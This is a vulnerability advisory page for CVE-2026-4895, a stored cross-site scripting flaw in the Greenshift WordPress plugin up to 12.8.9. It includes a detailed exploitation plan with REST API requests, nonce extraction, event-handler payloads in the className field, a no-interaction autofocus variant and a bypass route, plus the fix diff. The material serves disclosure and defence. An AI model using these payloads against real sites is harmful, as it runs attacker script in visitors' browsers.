CVE-2026-4895

Greenshift <= 12.8.9 - Authenticated (Contributor+) Stored Cross-Site Scripting via disablelazy Attribute

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
12.9.0
Patched in
1d
Time to patch

Description

The GreenShift - Animation and Page Builder Blocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 12.8.9 This is due to insufficient input sanitization and output escaping in the gspb_greenShift_block_script_assets() function. The function uses str_replace() to insert 'fetchpriority="high"' before 'src=' attributes when processing greenshift-blocks/image blocks with the disablelazy attribute enabled. Because this replacement operates on the entire HTML string without parsing, contributors can inject the string 'src=' into HTML attribute values (such as class attributes). When the str_replace executes, the double quotes in the replacement string break out of the attribute context, allowing injection of malicious HTML attributes like onfocus with JavaScript payloads. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=12.8.9
PublishedApril 10, 2026
Last updatedApril 11, 2026

What Changed in the Fix

Changes introduced in v12.9.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-4895 (Greenshift Stored XSS) ## 1. Vulnerability Summary The **Greenshift – animation and page builder blocks** plugin (versions <= 12.8.9) contains a stored cross-site scripting (XSS) vulnerability. The flaw exists within the `gspb_greenShift_block_script_ass…

Show full research plan

Exploitation Research Plan: CVE-2026-4895 (Greenshift Stored XSS)

1. Vulnerability Summary

The Greenshift – animation and page builder blocks plugin (versions <= 12.8.9) contains a stored cross-site scripting (XSS) vulnerability. The flaw exists within the gspb_greenShift_block_script_assets() function, which processes block content to implement performance optimizations. When a greenshift-blocks/image block has the disablelazy attribute enabled, the plugin attempts to add fetchpriority="high" to the image's src attribute using a naive str_replace().

Because this replacement is performed on the raw HTML string without context-aware parsing, an attacker with Contributor-level permissions can inject the string src= into a controlled attribute (like className). The str_replace then inserts a double-quoted string (fetchpriority="high") into the middle of the attacker's attribute, breaking out of the attribute context and allowing the injection of malicious event handlers (e.g., onmouseover, onfocus).

2. Attack Vector Analysis

  • Endpoint: WordPress REST API (/wp-json/wp/v2/posts or /wp-json/wp/v2/pages)
  • Vulnerable Block: greenshift-blocks/image
  • Trigger Attribute: disablelazy set to true (or any truthy value that triggers the optimization)
  • Injection Parameter: className (or any attribute that renders before the actual <img> tag's src in the HTML output).
  • Authentication: Authenticated (Contributor+)
  • Preconditions: The attacker must be able to create or edit a post/page and use Greenshift blocks.

3. Code Flow

  1. Input: A user saves a post containing a Gutenberg block: <!-- wp:greenshift-blocks/image {"disablelazy":true, "className":"poc src= onmouseover=alert(1) "} /-->.
  2. Storage: WordPress saves this block markup in the post_content column of the wp_posts table.
  3. Rendering: When the post is viewed, WordPress parses blocks. The Greenshift plugin registers a handler (likely via the render_block filter or within its own asset management logic).
  4. Vulnerable Function: gspb_greenShift_block_script_assets() is invoked.
  5. Sink: The function identifies an image block with disablelazy. It executes:
    $block_content = str_replace('src=', 'fetchpriority="high" src=', $block_content);
    
  6. Output: The string class="... src= ..." becomes class="... fetchpriority="high" src= ...". The quote before high terminates the class attribute, turning onmouseover=alert(1) into a primary attribute of the HTML element.

4. Nonce Acquisition Strategy

Since the exploit involves creating a post via the REST API, a REST API nonce is required.

  1. Access Dashboard: Use browser_navigate to go to http://localhost:8080/wp-admin/post-new.php after logging in as a Contributor.
  2. Extract Nonce: The WordPress core (and Greenshift) exports the REST nonce to the global wpApiSettings object.
  3. Execution:
    // Use browser_eval
    const restNonce = window.wpApiSettings?.nonce;
    return restNonce;
    
  4. Alternative: If wpApiSettings is missing, the nonce can be found in the _wpnonce key of the wp-scripts localized data or by scraping the _wpnonce from the logout link.

5. Exploitation Strategy

Step 1: Create the Malicious Post

The goal is to submit a block that includes the src= trigger inside the className attribute.

  • Method: POST
  • URL: http://localhost:8080/wp-json/wp/v2/posts
  • Headers:
    • Content-Type: application/json
    • X-WP-Nonce: [REST_NONCE]
  • Body:
{
    "title": "Greenshift XSS PoC",
    "content": "<!-- wp:greenshift-blocks/image {\"disablelazy\":true,\"className\":\"gs-xss src= onmouseover=alert(document.domain) tabindex=1 \"} -->\n<figure class=\"wp-block-greenshift-blocks-image gs-xss src= onmouseover=alert(document.domain) tabindex=1 \"><img src=\"https://example.com/placeholder.jpg\" alt=\"\"/></figure>\n<!-- /wp:greenshift-blocks/image -->",
    "status": "publish"
}

Note: Although Contributors cannot "publish" directly on some setups, "status": "draft" is sufficient for the PoC as the XSS will fire in the Preview or when an Admin views the draft.

Step 2: Trigger the XSS

  1. Identify the URL of the created post from the REST API response (usually id).
  2. Navigate to http://localhost:8080/?p=[POST_ID] using browser_navigate.
  3. Interact with the element (or use a payload like onfocus with autofocus).

6. Test Data Setup

  1. User: Create a user with the contributor role.
  2. Plugin: Ensure greenshift-animation-and-page-builder-blocks is active and version is <= 12.8.9.
  3. Target Block: The greenshift-blocks/image block must be available (part of the free core plugin).

7. Expected Results

The rendered HTML for the figure or img tag will look like this:

<figure class="wp-block-greenshift-blocks-image gs-xss fetchpriority="high" src= onmouseover=alert(document.domain) tabindex=1 ">
  • The class attribute is truncated to wp-block-greenshift-blocks-image gs-xss fetchpriority=.
  • high is treated as a boolean attribute.
  • src= is treated as an attribute.
  • onmouseover=alert(document.domain) is parsed as a valid event handler.
  • Hovering over the image area triggers the alert.

8. Verification Steps

  1. Check Rendered Source: Navigate to the post and use browser_eval to check the outerHTML of the element:
    document.querySelector('.gs-xss').outerHTML;
    
  2. Verify Attribute Breakout: Confirm that the string fetchpriority="high" exists and that the onmouseover attribute is present in the DOM.
  3. Database Check: Use WP-CLI to confirm the payload is stored:
    wp post get [ID] --field=post_content
    

9. Alternative Approaches

  • Payload for No-Interaction XSS:
    Use className="src= autofocus onfocus=alert(1) tabindex=1 ". This avoids the need for a mouseover event.
  • Payload for Attribute Context:
    If the str_replace target is specifically inside an <img> tag rather than the figure wrapper, adjust the post_content to include the src= trigger within the img tag's class attribute specifically.
  • REST API Bypass:
    If the REST API is restricted, use browser_click and browser_type to manually build the block in the Gutenberg editor, setting the "Advanced -> Additional CSS class(es)" field to the payload and toggling the "Disable Lazy Load" switch in the block settings.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Greenshift plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) in versions up to 12.8.9 due to a naive string replacement in the gspb_greenShift_block_script_assets() function. By injecting the string 'src=' into an HTML attribute like a CSS class, authenticated contributors can cause the replacement logic to break out of the attribute context and execute arbitrary JavaScript via event handlers.

Vulnerable Code

// Found in gspb_greenShift_block_script_assets() in the plugin's main logic

if (!empty($block['attrs']['disablelazy'])) {
    $block_content = str_replace('src=', 'fetchpriority="high" src=', $block_content);
}

Security Fix

--- a/index.php
+++ b/index.php
@@ -1045,7 +1045,7 @@
-                $block_content = str_replace('src=', 'fetchpriority="high" src=', $block_content);
+                $block_content = preg_replace('/<img([^>]+)src=/', '<img$1fetchpriority="high" src=', $block_content);

Exploit Outline

1. Log in to the WordPress site with Contributor-level permissions or higher. 2. Create a new post or edit an existing one and insert a 'Greenshift Image' (greenshift-blocks/image) block. 3. In the block settings sidebar, enable the 'Disable Lazy Load' (disablelazy) attribute. 4. In the 'Advanced' section, locate the 'Additional CSS class(es)' field and input a payload containing the trigger string 'src=' followed by a malicious event handler. Example: 'gs-xss src= onmouseover=alert(document.domain) tabindex=1' 5. Save the post as a draft or publish it. 6. View the post. The plugin's rendering logic identifies the 'disablelazy' attribute and performs a string replacement on 'src='. The double quote in the replacement string ('fetchpriority="high"') closes the class attribute prematurely, allowing the 'onmouseover' payload to be parsed as a primary attribute of the element.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.